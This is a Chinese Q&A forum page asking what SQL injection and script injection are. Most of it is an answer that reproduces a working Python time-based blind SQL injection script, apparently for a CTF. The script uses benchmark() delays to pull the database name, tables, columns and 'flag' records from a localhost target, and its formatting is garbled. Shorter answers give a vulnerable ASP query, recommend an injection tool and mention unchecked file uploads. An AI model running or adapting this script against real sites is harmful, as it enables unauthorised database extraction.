什么是sql注入攻击 和 脚本注入攻击?
发布网友
发布时间：2022-05-02 15:59
我来回答
共3个回答
懂视网
时间：2022-05-02 20:20
requests
urlx = ‘http://127.0.0.1/?id= 1 and if((substr((select database()),‘
payloads = ‘qwertyuiopasdfghjklzxcvbnm{}_0123456789‘
def guess_column(table):
string = ‘‘
extend = 0
list = []
length2 = 0
num = []
num1 = []
url1 = ‘http://127.0.0.1/?id= 1 and if(((select count(column_name) from information_schema.columns where table_name=‘‘+ table + ‘‘)=‘
url2 = ‘http://127.0.0.1/?id= 1 and if((substr((select column_name from information_schema.columns where table_name=‘‘ + table + ‘‘ limit ‘
url3 = ‘http://127.0.0.1/?id= 1 and if(((select length(column_name) from information_schema.columns where table_name=‘‘ + table + ‘‘ limit ‘
url4 = ‘http://127.0.0.1/?id= 1 and if(((substr((select ‘
url5 = ‘http://127.0.0.1/?id= 1 and if(((select count(‘
url7 = ‘http://127.0.0.1/?id= 1 and if(((select length(‘
for i in range(50): #获取字段数量
url = url1 + str(i) + ‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘
r = requests.get(url)
print(url)
time = r.elapsed.total_seconds()
print(time)
if time > 1.5:
extend = i
length2 = i
break
for k in range(extend):
st = ‘‘
extend1 = 0
for m in range(100):
url = url3 + str(k) + ‘,1)=‘ + str(m) + ‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘ #获取字段长度
r = requests.get(url)
if time > 1.5:
extend1 = m
break
for i in range(1,extend1+1): #获取字段
for payload in payloads:
url = url2 + str(k) + ‘,1),‘ + str(i) + ‘,1)=‘‘ + payload + ‘‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
st += payload
break
list.append(st)
num1.append(st)
length = 0
for i in range(1,10000): #获取记录数量
url = url5 + str(num1[0]) + ‘) from ‘ + table + ‘)=‘ + str(i) + ‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘
print(url)
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
length = i
break
for column in list:
str1 = ‘‘
for i in range(length):
length1 = 0
url6 = url4 + str(column) + ‘ from ‘ + table + ‘ limit ‘ + str(i)
for k in range(100): #获取记录长度
url = url7 + str(column) + ‘) from ‘+ table + ‘ limit ‘ + str(i) + ‘,1)=‘ + str(k) + ‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
length1 = k
break
for n in range(1,length1+1): #获取记录
for payload in payloads:
url = url6 + ‘,1),‘ + str(n) + ‘,1))=‘‘ + str(payload) + ‘‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
str1 += payload
break
num.append(str1)
str1 = ‘‘
for column in num1:
print(column+‘ ‘,end=‘‘)
print(‘
‘,end=‘‘)
for i in range(length2):
for k in range(length):
x = i + length * k
print(num[x]+‘ ‘,end=‘‘)
print(‘
‘,end=‘‘)
def guess_table():
string = ‘‘
extend = 0
list = []
url1 = ‘http://127.0.0.1/?id= 1 and if(((select count(table_name) from information_schema.tables where table_schema=database())=‘
url2 = ‘http://127.0.0.1/?id= 1 and if((substr((select table_name from information_schema.tables where table_schema=database() limit ‘
url3 = ‘http://127.0.0.1/?id= 1 and if(((select length(table_name) from information_schema.tables where table_schema=database() limit ‘
for i in range(50):
url = url1 + str(i) + ‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend = i
break
for k in range(extend):
st = ‘‘
extend1 = 0
for m in range(100):
url = url3 + str(k) + ‘,1)=‘ + str(m) + ‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend1 = m
break
for i in range(1,extend1+1):
for payload in payloads:
url = url2 + str(k) + ‘,1),‘ + str(i) + ‘,1)=‘‘ + payload + ‘‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
st += payload
break
list.append(st)
print(‘------------‘)
for i in list:
print(f‘[*]{i}‘)
print(‘------------‘)
guess_column(‘flag‘)
def main():
string = ‘‘
url1 = ‘http://127.0.0.1/?id= 1 and if((length(database())=‘
extend = 0
for k in range(20):
url = url1 + str(k) + ‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend = k
break
for i in range(1,extend+1):
for payload in payloads:
url = urlx + str(i) + ‘,1)=‘‘
url = url + payload + ‘‘),benchmark(1000000,md5(‘test‘)),NULL); %23‘
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
string += payload
break
print(f‘available database
[*] {string}‘)
guess_table()
main()
sql注入------基于时间延迟benchmark函数注入脚本
标签：def get [] cond lag url bsp main chm
热心网友
时间：2022-05-02 17:28
sql注入，，就是利用网站的一些SQL漏洞，，进行注入，，打个比方ASP写的下面一句
select * from user where userid=" & request.queryString("userid")
向上面的语句就可以实现SQL注入了。。
具体怎么注入我就不讲了，内容太多了。。你下载个阿D注入工具用一下就明白了。
脚本注入利用的是上传漏洞。。。也是上传的时候检查不够严格，打比方没有检测扩展名，，
热心网友
时间：2022-05-02 18:46
sql注入攻击
http://ke.baidu.com/view/983303.htm
脚本注入攻击
http://www.anqn.com/zhuru/article/2008-07-13/a0999198.shtml
